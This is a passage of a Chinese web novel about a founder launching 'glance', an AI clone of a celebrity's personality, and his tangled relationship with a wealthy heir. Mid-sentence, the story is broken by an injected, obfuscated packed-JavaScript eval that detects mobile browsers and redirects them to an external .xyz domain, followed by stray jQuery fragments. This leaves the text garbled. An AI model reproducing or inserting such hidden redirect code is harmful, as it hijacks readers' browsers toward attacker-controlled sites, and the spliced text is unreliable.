铂金笔杆,尾端镶玉,笔嘴镂刻陡峭冰川,激流拍岸,意境清冷锋锐。 万宝龙的logo藏在非常不起眼的位置,又是一款私人订制,主人姓名不言而喻。 刚还了手表,又落了一支钢笔。 沈璧然一下子有些绝望,但很快,又镇定下来。他一手摩挲着笔杆,另一手夹着燃烧的烟,就那样静静地看着,心里突然滋生出一股恶念——如果,他不还给顾凛川呢? 钢笔和手表不同,不算特别贵重,也很难确定遗失在哪。只要他不主动提,顾凛川多半不会找来,甚至不会在意。 这支钢笔的设计很顾凛川,笔尾又碰巧嵌了一块玉,完全可以当作那段早已腐烂的爱情的纪念。就算是他不道德吧,算他放纵恶念,但这样,既免去继续和顾凛川纠缠的麻烦,又能满足那一丝见不得人的私心,有何不可? 正想着,宋听檀打来了电话。 沈璧然仰靠着椅背,一手撑着方向盘,另一手夹着烟缓慢深长地吸着,烟气在鼻息眉眼间缭绕,将平静的一张脸衬得有些神秘。 他听完那条荒谬的新闻,不急不躁,甚至笑了。 “听檀,这是老天在帮我。”那双低沉的眸重新点亮,眨了眨,有些狡黠,“你在哪里?” “家,我正要去公司,白导也在公司。” “OK,待会见。” 沈璧然干净利落地挂断电话,灭了烟,把钢笔揣进衬衫口袋,小心翼翼地确认笔帽没有露出来,然后迅速驶离了这块心虚之地。 11.第 11 章 尘晖会议室,白翊听完了沈璧然的请求,看着沈璧然放在桌上的手机。 “所以,这只是一个蒸馏模型?” 沈璧然点头,“模型本体在当前阶段还不能曝光。” 白翊消化了一会儿,“那它和市面上chatbot的区别是什么呢?” 沈璧然:“是……” “我的老天爷,你还是没明白。” “我的老天爷,我都听懂了。” 会议室里同时响起两道宋听檀的声音,而后同时止住,相互谦让。 前者来自沈璧然手机里的glance,后者来自坐在一旁刷微博的宋听檀。 白翊表情顿时冷淡,疑似掩饰尴尬。 沈璧然没忍住乐了,“区别就是这样。”他轻快地摊开手,“市面上的chatbot不会对你忍无可忍,但宋听檀会,所以glance也会。它能完整地演绎一个具体的人真实而复杂的性格,会主动对外界做出反应。相比其他AI产品,它神经网络的领先程度就像——” “就像你和草履虫。”glance接话道。 宋听檀差点从椅子上笑翻过去,又迅速抿唇严肃,装模作样继续刷微博。 白翊瞥他一眼,又瞥一眼沈璧然的手机,“所以,可以定义为宋听檀模拟器。” 沈璧然点头,“可以,但更严谨地说,是电子版克隆宋听檀。” glance:“你可以把我理解成不是human的human being。”它说着顿了下,降下音量嘀咕,“天啊,我竟然说出了这么伟大的解释。” 白翊叹气,“好吧,那我下一步该怎么做?你说,我照办。” 沈璧然愣了,“你这就答应了?” 白翊点头,“我无所谓啊,听君吩咐。” 按沈璧然原本的打算,是找个合适的契机让宋听檀来宣发glance。这一切早都谋划精准——首曝阶段,他不能透露产品底牌,但却要迅速造势,借宋听檀的流量无疑是最好的选择。毕竟如果想向世人展示一颗成色极品、但只有针尖大小的钻石,就不能指望口口相传,而是要想办法把钻石贴在王子的脑门上。 “本来我是这个王子的。”宋听檀对白翊说:“现在可好,有了这个热搜头条,做沈璧然的王子的机会让给你了。” glance:“你要珍惜,不是谁都有这份殊荣的。” 白翊欣然点头,朝沈璧然看过来,“乐意之至。” “多谢白导。”沈璧然回以愉快温柔的微笑,又看向桌面,“真假宋听檀,你俩给我们上热搜的小瘸狗起个名吧。” 手机里和身边异口同声:“那就叫小跛好啦。” * 众所周知,导演白翊恃才傲物,只醉心作品,从不理会外界评价。 狗仔也没想到,这条半夜携密友遛狗的八卦会得到本人回应。 @导演白翊:澄清一下,确实是替下部戏男主遛狗。狗是捡的,叫小跛。正好借这波热度征个主人,疫苗齐全,除了瘸没毛病。有意者请关注@glance。 被他圈出来的是一个新注册的蓝V企业账号,头像是一只饼干色小狗,首页发了十几张小狗生活照,搭配可爱的紫色小箭头和图释。 【跛的是右前脚,能靠另外三只脚装不瘸,但最多装十米】 【纯正饼干色,忍不住产生一个大胆的想法……】 【不挑食,今日晚餐:烤鸡心(来自楼下小酒馆)加干噎酸奶(好悬没噎死)】 【好消息:会找尿垫。坏消息:尿不准。:)】 【很安静(狗界第一美德)】 【陪我读剧本到半夜三点,满分小狗!】 【……打翻了我的酒杯,扣十分。】 几分钟之内,glance热度迅速飙升,不仅因为plog很可爱,还因为这些照片微妙地透出了一些信息量。 “所以这个号是白翊下个男主?但为什么是企业认证,还是个科技公司?” “我不相信白翊会捧纯新人,虽然照片上那位确实神颜……” “可我怎么想到了另一个人……有家人对暗号吗?我先来:喜欢吃饼干。” “……秒懂。接:讨厌噪音。” “接:深夜读剧本。” “接:小酒鬼(这好明显了)。” “别打哑谜了我的檀心们……这字体的颜色不就是咱家应援色木槿紫吗?!” 热度超乎预期,不到一小时,三条热搜高挂榜首—— #glance皮下 宋听檀# #宋听檀已锁定白翊下一部戏# #白翊深夜密友身份成谜# 这时,glance又上线了。 【@glance:十分钟小狗问答楼,在线秒回,只答领养相关问题哦】 接下来的一切忽然走向魔幻。十分钟内,上万条评论提问,而它不仅做到了“秒回”,而且句句不同、字字生动——或高冷严谨,或撒娇耍赖,或幽默逗趣。语言之丰富让人瞠目,透露着大量宋听檀的生活细节,活脱脱就是宋听檀本人在隔空网聊——虽然他从没对公众说过这么多话,但这里的每一行都能让人联想到他的神情语调。 #glance到底是什么# 爆搜了。 沈璧然的手机屏疯狂弹着消息——聊过的投资人开始连环call,可他一条也不回。沈璧然在事业上何其高傲,他给公司命名为glance——“短促一瞥”。眼下,他也只肯赏那些嗅觉灵敏的投资人以一瞥而已。 然而,一瞥足以惊艳。 沈璧然指尖轻敲两下屏幕,“欢迎面世。” glance亮起,“很开心终于能帮到你,璧然。” “辛苦你这几天多陪网友们聊天。” “爽得很呢。”glance欢欣道:“宋听檀生性浪漫活泼,当明星太憋屈了,就让我替他享受几天言论自由吧。” 沈璧然检查了一下GPU算力,又叮嘱:“别光顾着散发魅力,帮小跛找个好主人。” “乐意效劳。” * glance的身份获全网热议,知道真相的投资圈骚动难止——那个原本只因相貌、谈吐被记住的Noah Shen玩了一手足以写进创业者教科书的机会营销,四两拨千斤,砸出了核弹级效果。投圈浮夸,很快,“时代巨擘幼年期”的名号就流传开了。 沈璧然一扫低落情绪,全情投入工作,和投资者们饮酒喝茶、骑马打球。他应酬场上友善健谈,却唯独不提融资。那些投资人百般试探,他一字不接,仿佛他才是甲方。 不过,他也展示了一些探讨业务的诚意。 “它还是需要大量语料来训练的,要找到合适的行业土壤。”沈璧然含笑对赵钧解释,带着熟人间的亲切,让赵钧立刻忘了之前饭桌上的尴尬,并且坚信,在诸多投资人间,沈璧然还是和他关系最亲厚。 赵钧顺着问:“什么样的土壤?” 沈璧然转体挥杆,高尔夫在阳光下划出一道耀眼光晕,利落入洞。他登上球车,继续说:“最理想的情况是:每分每秒都有大量真实的、强互动的、可公开的对话语料产生。” 赵钧若有所思,“直播?” 沈璧然惊喜道:“这是什么天才的主意,我之前竟然没想到。” 果盘里盛着切好的蜜瓜,他边说边认真挑了一块色泽最漂亮的递给赵钧,赵钧接过,说:“这就很巧了,风雷在直播行业可是有非常丰富的投资经验。” 沈璧然笑而不语,一副乖巧好学生的模样,抱着果盘边吃瓜边听他讲风雷投资汛声的历史——作为主力投资团队,它把浔声从刚转型的小团队投到大公司,投成直播传媒行业头部,又多次在危机中伸出援手,助其起死回生。 球车抵达下一洞,沈璧然放下光秃秃的盘子,状似随意地扔下一句评价:“这家公司怎么动不动就要注资抢救,传统直播真是穷途末路了。” 说话者随意,但听话者却若有所思。 当晚,沈璧然收到快递——赵钧送了他十箱蜜瓜。 沈璧然被这种豪迈粗暴的讨好方式震撼了,自留一箱、给宋听檀留一箱,剩下的全都转寄尘晖公司,让白翊分给这次帮忙的媒体部同事。 “可惜你吃不到蜜瓜。”沈璧然对正勤勤恳恳和网友互动的glance说:“不然你才是最该润润喉的。” glance在百忙之中分出一点算力和他打招呼,并顺手甩了一份领养者资料:“看看这位,跟了他,我相信小跛下半辈子会比你过得都好。” 这位脱颖而出的候选人叫唐杰,28岁,哥伦比亚大学毕业,稳定供职于某跨国公司总裁办,年收入A8水平,目前定居北京,在市中心有一套大平层公寓,友好善良的巨蟹座,独居,很喜欢狗狗。 沈璧然有些心动:“他会不会很忙?” glance:“很忙,他老板很难伺候。但他雇佣了住家保姆,会24小时陪伴小跛快乐成长,还会带它和小区里其他狗狗交朋友。那个小区住的都是高端狗,小跛应该会开心的。” “唔。”沈璧然把小区资料看了一遍,的确都是上过学校的礼貌小狗,甚至还有一只同样跛脚的退役军犬。 glance说:“唐杰非常渴望小跛。他不是宋听檀的粉丝,只是单纯被小跛的plog击中了,这样的爱会比粉丝更纯粹。” “而且,他的社交关系很简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889385|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单,因为老板太事逼——很庆幸他用了脏话吐槽,不然高压高薪还能保持温柔会让我起疑——导致他没有精力谈恋爱,我相信一段简单的人狗关系能帮小跛顺利度过磨合期。” “就他了。”沈璧然拍板了,“过几天就通知他去领狗吧。“ glance完美交差,继续和网友闲聊去了。 沈璧然拿起一本法国小说准备当睡前读物,刚翻两页,一个陌生来电响起。 “沈先生,我是Jeff。” 沈璧然一顿,礼貌问候:“晚上好,Jeff,离职冷静期结束了吗?” 已经十一点了,可怜的Jeff还没下班,说是今天开了十六个会,冷静期实在无法冷静。一番诉苦后,他话头一转:“顾总已经在开下一个会了,他托我转达对glance成功面世的恭贺,他认为您的营销策略堪称天才,此前纡尊降贵的四处游说也算是火炼真金。” 莫名地,沈璧然听出一丝阴阳怪气,谨慎地问:“所以,有什么事吗?” Jeff:“是这样,前几天顾总开您的车去了万安墓园,回来后发现他随身的钢笔不见了,不知道有没有落在车上?” 沈璧然一顿,语气平静,“哦?是什么样子的钢笔?” “一支万宝龙定制款,笔尾有嵌玉,如果在您车上的话,应该是驾驶位附近。” 沈璧然说:“我下去找找,晚点给你回信。” 挂断电话,沈璧然继续看他的法国小说,直到看完一整个篇章,才发消息回去:“抱歉,没找到。” 消息刚发没多久,Jeff就打了回来,沈璧然接起,对面开口却让他心跳一悸。 “睡了么。” 夜深人静,顾凛川的声音显得格外有磁性。 沈璧然一时间有些卡壳,前几天他和顾凛川在墓园外道别时虽然很得体,但彼此都知道那属于不欢而散。他以为,既然车祸电话的因果讲清,钢笔的询问也被挡回,他们理应再无纠缠,从此相逢陌路。 没得到回答,顾凛川又问:“在看书?今天看的什么?” “顾总。”沈璧然合上小说,强压着心虚低声道:“抱歉,我真没找到你的钢笔。” 不知是否听错,电话里,顾凛川似乎笑了一声。 “那太好了。” 沈璧然一愣,“什么太好了?” 顾凛川说:“一条小猫尾巴在走廊闪过。” “什么?” “没什么。”顾凛川顿了下,“开玩笑而已。刚才在和边上的下属说话。” 沈璧然松了口气,又忍不住问:“那支笔很贵吗?” “不贵,找不到就算了。”顾凛川说:“我打来是想替Jeff道个歉,他最近总犯蠢,我让他问问你钢笔的事,没让他深夜来打扰你睡觉。” 一天开十六个会的人做出什么事都不奇怪吧,沈璧然不禁心疼Jeff,委婉道:“工作到深夜确实会损伤大脑的。” 顾凛川说:“我知道了,我会好好休息。” “……”其实沈璧然不是那个意思。 “你也要好好休息,沈璧然。”顾凛川语气忽然有些微妙,“glance的营销效果已经达到了,看完书就睡吧,别再半夜出去遛狗了。” 沈璧然感觉莫名其妙,而且觉得他有点阴阳怪气,可不待开口,顾凛川又说:“我去开会了,晚安。” 电话里依稀传来其他人的低声交谈,提到什么收购案。 豪门继承人并不轻松,顾凛川获得的财权和风光背后,又是何等压力和辛苦。 沈璧然把那句已经到嘴边的“你也要早点睡觉”强行咽了回去,低低“嗯”了一声。 几天后,白翊打来电话。glance情智双全,魅力四射,不仅自己走红,还连带着把白翊下部戏提前炒热了。白翊反过头来感谢了沈璧然一通,和他闲聊数句,又说:“尘晖最近有股权变动,等忙过这一阵,我请你吃饭。” 沈璧然好奇,“股权变动?” 白翊低声解释:“明天就会曝光,广砚集团收购了尘晖35%股份,成为第一大股东。” 沈璧然错愕。如果没记错,广砚是裴家的产业,原本在长子手里,但半个月前,企业控制人变更为裴研声——就是那位陪顾凛川从欧洲回来,原本在裴家不受重视的私生子。顾凛川才把他过了明路,他就立即在家族里拿到了实权。 广砚对尘晖的收购如同一道迅雷,突然而起,利落结束,等曝光时,一切尘埃落定。这是一次友好收购,尘晖会有更雄厚的资金实力,旗下艺人也能拿到更宽广的资源,可谓皆大欢喜。 隔天,尘晖举办一场高层晚宴,庆祝这场珠联璧合,宋听檀邀请沈璧然同行。